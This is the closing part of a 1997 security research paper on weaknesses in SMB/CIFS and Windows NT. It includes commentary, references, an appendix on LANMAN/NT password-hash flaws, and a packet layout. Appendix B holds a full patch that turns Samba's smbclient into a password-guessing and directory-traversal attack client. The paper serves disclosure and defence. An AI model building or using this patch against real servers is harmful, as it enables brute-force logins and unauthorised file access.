be seen whether this will be a full implementation, with perhaps an NT-based
KDC server??  I can't wait to see how badly *that* gets mangled, especially
when handling backward compatibility.  Naturally some of the first things to
rip into will be random number generation and client storage of tickets.
Will
we finally see some server-end enforcement of authentication types?  Will
clients implement preauthenticated TGT requests, or be able to perform
mutual
authentication to exchange keys for encrypted sessions?  Not likely, since
CIFS seems to imply that Microsoft is banking on the eventual deployment of
IPSEC instead.  Here again, they take the easy way out instead of actively
helping implement secure protocols.  It's just as well, really, since if
CIFS
is any example they would probably screw it up at the standards level and
set
everyone else back.
Default settings on even the latest NT server is still laughable, as are
most
of its responses under attack.  Okay, so they turned off the NT4.0 GUEST
account by default after significant public humiliation, but why stop there?
Creating a new fileshare *still* lays it wide open to the "Everyone" group,
unless several obscure menu layers are waded through to reset the ACLs.
This
still does not prevent the "Everyone" group from *deleting* arbitrary files
unless yet another service pack has been applied.  There is little
enforcement
for good passwords.  All security auditing is still disabled until the
administrator turns it on and makes an effort to prevent it from filling up
and becoming useless -- and the logging still has little value in the WAN
environment.  Already there is talk of potentially egregious weaknesses in
various interactions like domain password changing and interdomain trust
relationships.  Microsoft apparently made the ".." mistake in ALL their OS
offerings, from WFWG up to the vaunted NT 3.51.  It took a lynch mob to
convince them to fix it, and it's *still* popping up here and there in other
add-on products.  And we won't even talk about some of those add-ons, which
already have been shown to fall over when lightly tickled, or allow full
read/write file access to completely unauthenticated users.
We can and should honestly ask, what *are* they thinking out there in
Redmond?
Besides the usual complaints about unstable bloatware, we are starting to
see
a steady stream of stupid, naive ten year old security problems, from weak
so-called encryption of .PWL files on up.  The answers usually consist of
denial and refusing to fix the flaws, and only under tremendous pressure
does anything get done.  Is this the same vendor we are supposed to trust
to produce an operating system and network suite as "secure" as is claimed
for NT, especially when it is held forth as a *replacement* for Unix?  Are
we to lay large amounts of tithe at the feet of the Golden Gates for a
complex behemoth that we are repeatedly reassured [read: lied to] is robust
under fire, but continues to fall for the same old stupid reasons?  The
Internet security community is now pushing two decades of finding those
little
headache-producing bonus gifts that come with major vendor-supplied OSes.
One
would surely think that a relative newcomer in that arena would take the
time
to learn from all those well-documented mistakes and make some effort to
avoid
them, but no, here we go 'round again.  This stuff is *not* technically
ready
for prime time in today's internet, but is being brutally pressed into
service
for the sake of the bottom line.  Common sense screams "run away", and we
can
easily anticipate another decade of nasty holes that will undoubtedly turn
up
and be promptly swept under the rug by hordes of marketroids whose jobs are
*not* particularly dependent on secure, robust computing environments.
No thank you, I'd rather not go *there* today.
It will be interesting to see if the trade press picks up on any of this.
If past experience is any indicator they will simply color the whole issue
yellow, denounce Samba as a cracker tool while defending poor widdle abused
Microsoft, and as usual not help anyone address the real problems.
Conclusions
===========
By now the reader may be thinking twice before replacing all those Unix
servers with NT, and considering the significant risks in yielding to all
that
marketing rah-rah.  In general we now see, in what is hoped to be a clearer
way than previously, both how and why to check networks for these additional
vulnerabilities.  Unix may have its own problems, but overall it is still
easier to secure and verify for correctness, and is largely free with all
sources included.  There are many good people out there proactively finding
and fixing Unix problems on a daily basis.  And as detailed in this
document,
Unix still has plenty of fight in it to help kick the NT monster in the ass.
The question remaining is, has this document helped at all, or is it just
another rework of old information?  It began to take shape under the
distinct
feeling that the research involved *must* have been long since done already,
given today's ubiquity of SMB environments, and that it would appear about
as
timely as discussion of Morris worm holes.  But as more sources were
scanned,
many of the relevant points just didn't seem to be there or were buried as
vague hints or hearsay in unrelated discussions.  Again, the intent is to
simply present this information in a cohesive and useful way, warn against
some clear and present risks, and plant seeds to foster future work.
References and acknowledgements
===============================
This is an independent research effort of Avian Research, and is presented
to the Internet community in the hope that it will be educational and
useful.  Nearly all the information utilized was obtained via groping
around on the internet, and is referenced largely in that context.
Early stages of the project were partially funded by Secure Networks, Inc.
of
Calgary, CA.  They have recently released a greatly enhanced NetBIOS
security
scanner that embodies many of the concepts described here.  Also
Samba-based,
it is now available via FTP at ftp.secnet.com:/pub/tools/nat10.
Possibly the most instructive document is the CIFS spec, which can be found
at
www.internic.net:/internet-drafts/draft-heizer-cifs-v1-spec-00.txt.  The
spec
for NetBIOS over TCP is in RFC1001 and RFC1002, available at any RFC
repository.  Another important source is of course the Samba suite, from
nimbus.anu.edu.au:/pub/tridge/samba and numerous mirror sites.  The "old-
versions" subdirectory thereof should contain version 1.9.15p8 of the code.
Microsoft's "knowledge base" contains lots of fairly good, albeit rather
sanitized, information via FTP or the web.  The NT articles are summarized
in ftp.microsoft.com:/bussys/winnt/kb/index.txt, which is possibly the best
starting point.  The Microsoft resource kits are another reference source
that
could possibly have answered more questions, but were unavailable at the
time
and therefore *not* consulted.
Many security practitioners are collecting information about problems in
Microsoft products.  The "hack Microsoft" page at www.c2.org:/hackmsoft/
is a good example, as is the information that Somarsoft makes available at
www.somarsoft.com:/security.htm and related items.  Details about problems
in the IIS web server and related things are up for grabs at www.omna.com.
As NT specifically loomed larger as a problem area during data collection,
many NT-specific references came to light.  It has been VERY difficult to
avoid diving down the thousands of potential ratholes involved with closer
investigation of NT.  An email exchange with Tom Sheldon, initially
concerning
a reference to Netcat he wanted to add to his book, got us talking.  The
book is now out: "Windows NT Security Handbook" [680 pages, 0-07-882240-8,
$34.99US].  Helpful tidbits of information came from this, along with many
more from Tom's very informational site at www.ntresearch.com.  Several
papers, articles, and checklists are available there.  Another site that is
also beginning to make several NT *tools* [notably NTFSDOS] available is
www.ntinternals.com, run by Mark Russinovich and Bryce Cogswell.
The archive of the NT-security mailing list is overwhelmingly HUGE by now,
and
lives at ftp.iss.net:/pub/lists/ntsecurity-digest.archive/.  Nevertheless,
the
bulk of it was pulled down and at least searched for relevant items if not
read outright.  ISS also maintains some vulnerability databases and security
checklists.  The mailing list appears to be useful, and frequently points to
other sources on NT security.  Here are some of them.  They do not all
appear
to have titles or authors; some are just random web pages that may have more
than one maintainer.
   An Overview of Windows NT Security, by Jim Frost, May 4, 1995
   world.std.com:/~jimf/nt-security.html
   A comprehensive collection of pointers to other NT security resources
   is taking shape at www.it.kth.se/~rom/ntsec.html.
   Bill Stout posted a paper comparing NT vs. Unix network security, last
seen
   at www.hidata.com:/guest/whitepapers/NTsec.htm.  It may have moved since.
Bruce Schneier should of course be mentioned, whose "Applied Cryptography"
presents a very clear picture of using crypto properly.  Laurent Joncheray
presented his interesting paper on the "desync" TCP attack at the 1995
Usenix
Security conference.  Random items have been plucked out of various mailing
lists like NTSEC and Firewalls along the way, specific references to which
were never saved.  Those wonderful wackos who maintain www.L0pht.com have
been extremely supportive of the ongoing research, and are also starting to
make some interesting tools and examples available.  Dominique Brezinski at
cybersafe.com was helpful in some private mail, and John Hood sent several
last-minute edits.
Thanks go out in general to those folks in the Internet security community
with that no-bullshit approach, who do not hold back with getting problems
out where everyone can help examine and solve them on a timely basis.
Appendix A: Crypto
==================
There are two algorithms used to cryptographically secure the authentication
data between a user and a server.  The earlier LANMAN-compatible algorithm
uppercases the password, truncates or pads to 14 characters as needed, and
derives therefrom a pair of odd-parity DES keys to ECB-encrypt a fixed
8-byte
quantity described in CIFS as "available from Microsoft upon request" but
already well-known to be the decryption of 0xAAD3B435B51404EE with a key of
all zeros.  The second method is currently supported by NT and Samba, which
preserves the case of the password up to 128 bytes, converts it to unicode,
and runs the result through MD4.  Each algorithm outputs 16 bytes of
cryptographic hash that securely represents the user's password.  These 16
bytes are called "OWF passwords" from the associated one-way function, and
are
stored in registries and Samba's alternate "smbpasswd" file.  Smbencrypt.c
in conjunction with the "libdes" routines handle most of this.
For challenge response, five more nulls are appended to either hash type and
the 21 total bytes used as a key triple to DES encrypt the 8-byte challenge
into three separate output blocks.  The final 24-byte output of this process
is sent in the SMB in place of the plaintext password.  The password length
normally sits at parameter word smb_vwv7 as Samba builds the block, and the
buffer area farther along contains the response bytes.  Under NT LM dialect
there are two password fields -- one for the all-uppercase LANMAN-compatible
password or hash thereof and one for the case-sensitive NT-style equivalent.
The lengths sit at smb_vwv7 and smb_vwv8 respectively, and the corresponding
data buffers are consecutive.  NT clients by default fill both buffers with
the two types of encrypted 24-byte responses.  If told to use plaintext
passwords, the NT client only sends a LANMAN password in smb_vwv7 but in
*mixed* case.
This is open to more than one easy man-in-the-middle attack.  One is even
documented in CIFS as the "downgrade attack", wherein a fake server response
tells a client to use observable cleartext passwords.  Since the fake
response
packet only needs one changed payload bit and different checksums, this
attack
is undetectable since a later real response is simply discarded by the TCP
transport.  A more interesting attack involves taking the cryptkey from one
session and network-spoofing it into a victim's later one; the victim's
resulting 24-byte response is used to authenticate the first session
instead.
Here, CIFS makes the cryptographically naive error of letting the client
user
"sign" the arbitrary data in the cryptkey instead of a hash that includes
it.
The application user interfaces in general encourage the historically bad
practice for all users to choose the same password across many different
machines, even across different NT domains.  This is held forth as a single-
sign-on model, but standard elements of a real SSO system such as
time-limited
session credentials never enter the picture at all.  The implementation also
is in many ways too restrictive for most real-world environments.  How does
one go about the sounder practice of having separate accounts for separate
machines or groups thereof?  Some utilities will ask for another password
and try again if the cached login password isn't correct for a different
server, but this doesn't work everywhere.  Example: The NT "net" utility
accepts a "/USER:othername" switch when doing a "net use", but not when
doing
a "net view".  Remote registry editing and related tools first try to use
the
credentials from the console login, and if that doesn't work either ask for
an
alternate password or simply fail.  Sometimes a way to specify a completely
alternate login is necessary, but NT's designers seems to have ignored this
and not even provided a global "net logon" facility like under WFWG.  Often
one is forced to create new local accounts and passwords, or use some other
band-aid workaround, just to authenticate some underdesigned application to
a
remote system.
The OWF hashes do not directly reveal a user's plaintext password but if
somehow obtained, can be directly used for authentication as well as input
to
an offline dictionary attack.  Directly storing them therefore reduces the
security to about the level of burying plaintext passwords inside scripts
and
thinking "well, the script is hidden, so the password is safe."  Microsoft
tries to crock around this recognized decades-old problem by re-encrypting
the hashes under some *other* key that is often stored in some obscure but
nonetheless findable place.  Authentication information is also cached in
various places such as .PWL files and registry entries, to support the
"automatic drive reconnect" stuff.  NT apparently also stores information
about the last ten domain-level user logons in the registry, for use in
cases
when the PDC is unreachable.
Since there is no salting in the OWF transform, even the generic old Unix
crypt() algorithm is stronger than this scheme.  An entire dictionary's
worth
of passwords and permutations thereof can be *precomputed* and stored, which
reduces an OWF dictionary attack to a big database lookup.  The block-mode
ECB
encryption scheme further implies that only the first 8 bytes of the OWF
hash
really need to be saved; a successful 8-byte match not only brackets a
greatly
reduced dictionary segment, it directly reveals the first seven characters
of
a LANMAN-style password.  Related to this is that the challenge-response
protocol also uses simple ECB of a known plaintext with no chaining or
feedback.  Response keys derived from the OWF are invariant and can be
similarly precomputed.  The first stage of an attack on a recorded session
setup only requires the cryptkey and the first 8 bytes from both the
precomputed response dictionary and the 24-byte response, and DES encryption
of a single block determines whether to bother with the remaining two.
Again,
cracking just the first block can index down to a much smaller chunk of the
dictionary.  Under NT LM dialect, NT clients usually send *both* response
types in the SetupAndX, which again defeats the whole purpose of the NT
style
password since cracking the plaintext of the reduced keyspace LANMAN
password
can serve as a template for cracking the user's "real" NT password.
Normally the SAM registry section on an NT server is protected against
reading.  An adminstrator can nonetheless take ownership of the whole SAM
hive, and dump out various subkeys under Domains\Account\Users\{hex-values}.
It is fairly clear from diffing ASCII hive dumps that the 32 bytes at the
end
of the respective "V" binary blocks correspond to OWF password storage.  We
can observe corresponding changes to at least the same-length fields in the
Samba "smbpasswd" file.  The 32 bytes represent the LANMAN and NT OWF
hashes,
but on NT are re-encrypted under some other set of keys.  Attempts to find
these meta-keys by trying likely-looking DES-size blocks elsewhere around
the
registry have thus far failed, but the answer may be discoverable with a
little more effort.  Anyone who already knows the true magic here is of
course
encouraged to speak up, even if anonymously.
Inter-domain trust relationships are another NT-specific issue and were not
studied here, but surely need to be investigated more closely.  Various
documentation mentions that a "secure channel" is established between domain
controllers using the special DOMAIN$ accounts and a some kind of "secret
object" which apparently is often derived from a human-chosen password.  The
channel is apparently an RPC session, but is it truly encrypted, and if so,
how?  Would this imply that some mechanism for encrypted SMB does exist
after
all, but for some reason is not made available to the end users?  What about
backup domain-controller replication, which implies that one machine can
suck
down the entire SAM database of another?  How about an analysis of
encryption
across PPTP VPNs?  Someone else may be able to answer these questions too.
Appendix B: The Patch Kit
=========================
This illustrates some minimal changes needed to turn smbclient into a
rudimentary attack kit.  It does not cover *every* possibility of protocol
weakness by any means, but is enough to get going with some fairly serious
host-level attacks.  Briefly, the following changes are effected:
 Adds the interpret_error routine to help straighten out server errors
 Corrects conversion of security mode
 Loops forever reading new trial passwords from standard input
 No-ops out the dos_clean_name() path cleanup routine, and allows
 changing to what appear to be "bad" directory paths.
 Fixes nmblookup to use local UDP port 137 and verbatim scope ID
Apply the patch using your favorite method for doing so; extracting it to a
file and doing "patch < file" generally suffices.  Configure the Makefile
for
your platform, and add -DATTACK to FLAGS1.  If you want all passwords
automatically uppercased, also add -DUPPERCASE.  This is optional, since
mixed-case passwords are sometimes needed.  Don't define PASSWD_FLAGS, so
the
client cannot use password encryption.  Finally, do "make smbclient
nmblookup"
to build the two programs.
These changes are decidedly quick and dirty, but should illustrate how to
begin putting together a much more sophisticated tool.  Looking a little
farther forward immediately shows several improvements not implemented here:
The send_login routine covers three important steps in one linear shot and
should be split up into its logically separate SMB steps.  Several more
commands can be added, to swap between arbitrary sharenames, UIDs, TIDs and
other possibly relevant parameters.  Overall, the entire breakin scenario
can be highly automated.
 !-- chop --!
*** client.c Mon Jan 15 03:56:44 1996
--- attack/client.c Thu Jan 30 23:14:59 1997
***************
*** 80,81 ****
--- 80,152 ----

+ /* Avian Research demo "SMBAttack" patch kit.  _H*/
+ #ifdef ATTACK
+ unsigned int cur_err;
+
+ #define dos_clean_name donothing
+ void donothing () { return; }
+
+ #define getpass readpass
+ char * readpass (prompt)
+   char * prompt;
+ {
+   char pb [256];
+   char * pp = NULL;
+
+   DEBUG(1,(prompt));
+   pp = fgets (pb, 128, stdin);
+   if (feof (stdin)) exit (0);
+   if (pp) {
+     pp [(strlen (pp) - 1)] = '\0'; /* rip the newline */
+ #ifdef UPPERCASE
+     strupper (pp);   /* maybe upcase it?  XXX */
+ #endif
+     strcpy (password, pp);  /* and save it */
+   }
+   return (pp);
+ } /* readpass */
+
+
/***************************************************************************
*
+ The error returns from various platforms are many and varied, but all of
+ them mean a couple of basic things.  This boils relevant ones down roughly
+ to common server-class status, i.e.:
+  0 success
+  2 access denied, or wrong username/passwd for session OR share
+  5 network-ID not found, for session
+  6 sharename not found, TCon problem
+  1 anything else, probably fatal, including disabled accounts,
+     negotiation problems, etc
+
****************************************************************************
/
+ static int interpret_error (rcls, err)
+ unsigned char rcls;
+ uint16 err;
+ {
+   if ((rcls == 0) && (err == 0)) return (0); /* no error */
+   if (rcls == ERRSRV) {
+     if (err == 1) return (1);  /* non-specific error */
+     if (err == 2) return (2);  /* bad name or password */
+     if (err == 4) return (1);  /* insufficient access for function */
+     if (err == 5) return (5);  /* invalid TID */
+     if (err == 6) return (6);  /* invalid network name */
+     if (err == 7) return (6);  /* invalid device */
+     if (err == 1311) return (1); /* no login servers available [?] */
+     if (err == 2239) return (1); /* account expired or disabled */
+   } /* ERRSRV */
+   if (rcls == ERRDOS) {
+     if (err == 5) return (2);  /* access denied */
+     if (err == 65) return (1);  /* network access denied */
+     if (err == 67) return (6);  /* network name not found */
+     if (err == 71) return (1);  /* no more connections */
+     if (err == 86) return (2);  /* network password incorrect */
+     if (err == 87) return (1);  /* parameter incorrect */
+     if (err == 90) return (1);  /* too many UIDs */
+ /* XXX: the rest of these might be ERRSRVs too -- all return 1 anyways, so
wtf. */
+     if (err == 2240) return (1); /* access denied from this WS */
+     if (err == 2241) return (1); /* access denied at this time */
+     if (err == 2242) return (1); /* password expired */
+     if (err == 2247) return (1); /* security database corrupted */
+     if (err == 2455) return (1); /* invalid workgroup */
+   } /* ERRDOS */
+   return (1);    /* didn't find any mapping */
+ } /* interpret_error */
+ #endif /* ATTACK */

***************
*** 171,172 ****
--- 242,247 ----
        SSVAL(outbuf,smb_flg2,0x1);
+ #ifdef ATTACK
+       SCVAL(outbuf,smb_flg,0x18); /* already-canonical filenames */
+       SSVAL(outbuf,smb_flg2,0x2001); /* execute perm == read perm [?] */
+ #endif /* ATTACK */
      }
***************
*** 282,283 ****
--- 357,364 ----

+ #ifdef ATTACK
+ /* we don't care if it's a bad path or not */
+   if (report && CVAL(inbuf,smb_rcls) != 0)
+     DEBUG(2,(" [but continuing anyway]\n"));
+   return (True);
+ #endif /* ATTACK */
    return(CVAL(inbuf,smb_rcls) == 0);
***************
*** 447,450 ****
--- 528,533 ----
        strcpy(dname,cur_dir);
+ #ifndef ATTACK
        strcat(cur_dir,"\\");
        dos_clean_name(cur_dir);
+ #endif /* ATTACK */

***************
*** 834,837 ****
    if (CVAL(inbuf,smb_rcls) != 0)
      return(False);
!
    /* parse out the lengths */
--- 917,927 ----
    if (CVAL(inbuf,smb_rcls) != 0)
+ #ifdef ATTACK
+ /* show us why */
+   {
+     DEBUG (0,("Trans failed: %s\n", smb_errstr (inbuf)));
+     return (False);
+   }
+ #else
      return(False);
! #endif /* ATTACK */
    /* parse out the lengths */
***************
*** 3014,3016 ****

!   DEBUG(3,("Sec mode %d\n",SVAL(inbuf,smb_vwv1)));
    DEBUG(3,("max xmt %d\n",max_xmit));
--- 3104,3106 ----

!   DEBUG(3,("Sec mode %d\n",sec_mode));  /* fixt.  _H*/
    DEBUG(3,("max xmt %d\n",max_xmit));
***************
*** 3020,3021 ****
--- 3110,3119 ----
    doencrypt = ((sec_mode & 2) != 0);
+ #ifdef ATTACK
+ /* don't encrypt, period */
+   doencrypt = 0;
+ /* don't screw with SessSetupX step unless we genuinely need it */
+   use_setup = ((sec_mode & 1) != 0);
+ /* always read a password anyways */
+   got_pass = 0;
+ #endif /* ATTACK */

***************
*** 3103,3104 ****
--- 3201,3211 ----

+ #ifdef ATTACK
+       cur_err = interpret_error (
+    CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
+       if (cur_err == 2) {
+  DEBUG (2, ("session setup failed: %s\n", smb_errstr (inbuf)));
+  goto get_pass;
+       }
+ #endif /* ATTACK */
+
        if (CVAL(inbuf,smb_rcls) != 0)
***************
*** 3129,3130 ****
--- 3236,3241 ----

+ #ifdef ATTACK
+ /* we're in */
+       DEBUG(0,("session established as %s/%s\n", username, password));
+ #endif /* ATTACK */
        if (Protocol >= PROTOCOL_NT1) {
***************
*** 3193,3194 ****
--- 3304,3313 ----

+ #ifdef ATTACK
+       cur_err = interpret_error (
+    CVAL (inbuf, smb_rcls), SVAL (inbuf, smb_err));
+       if (cur_err == 2) {
+  DEBUG (2, ("TCon failed: %s\n", smb_errstr (inbuf)));
+  goto get_pass;
+       }
+ #endif /* ATTACK */
    /* trying again with a blank password */
***************
*** 3217,3219 ****

!
    max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
--- 3336,3341 ----

! #ifdef ATTACK
! /* we're in */
!   DEBUG(0,("tcon %s connected as %s/%s\n", service, username, password));
! #endif /* ATTACK */
    max_xmit = MIN(max_xmit,BUFFER_SIZE-4);
***************
*** 3863,3865 ****
     receive_smb(Client,buffer,0);
!
  #ifdef CLIX
--- 3985,3991 ----
     receive_smb(Client,buffer,0);
! #ifdef ATTACK
! /* don't send chkpath-keepalives on a nonexistent tcon */
!       if (cnum == 0)
!  continue;
! #endif /* ATTACK */
  #ifdef CLIX
***************
*** 4043,4044 ****
--- 4169,4177 ----
    umask(myumask);
+ #ifdef ATTACK
+ /* oh, c'mon. */
+   pid = 2048;
+   uid = 0;
+   gid = 0;
+   mid = 2048;
+ #endif /* ATTACK */

*** nmblookup.c Thu Jan 30 20:52:47 1997
--- attack/nmblookup.c Tue Jan 21 01:39:16 1997
***************
*** 54,56 ****
--- 54,60 ----

+ #ifdef ATTACK
+   ServerFD = open_socket_in(SOCK_DGRAM, 137,3);
+ #else
    ServerFD = open_socket_in(SOCK_DGRAM, 0,3);
+ #endif /* ATTACK */

***************
*** 142,144 ****
--- 146,150 ----
   strcpy(scope,optarg);
+ #ifndef ATTACK
   strupper(scope);
+ #endif /* ATTACK */
   break;
 !-- chop --!
Appendix C: Overview of an SMB packet
=====================================
This is [roughly] the structure of an SMB packet as found inside the TCP
payload and Samba's internal buffers.  The leading length integer is not
part
of the SMB proper, and does not always appear under other transport types.
For further details, see CIFS section 2.4.
offset name   size contents / comments
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~
 0 [length int.]   4 TCP transport-layer data length
 4 header start   4 0xFF, 'S', 'M', 'B'
 8 SMB command   1 cmd code
 9 smb_rcls   2 error class; 0 = no error
11 smb_err    2 error code ; 0 = no error
13 smb_flg    1
14 smb_flg2   2
16 [filler]  12
28 TID    2
30 PID    2
32 UID    2
34 MID    2
36 word count   1 number of following parameter words
37 smb_vwv0   2 0x00FF [intel order] if no AndX cmd
39 smb_vwv1   2 0x0000 if no batched AndX stuff
41 smb_vwv2   2 ...
   ... to a variable length's worth ...
?? buffers    * smb_buf() finds this offset
   ... SMB ends at (TCP-len + 4) ...
 H* 970130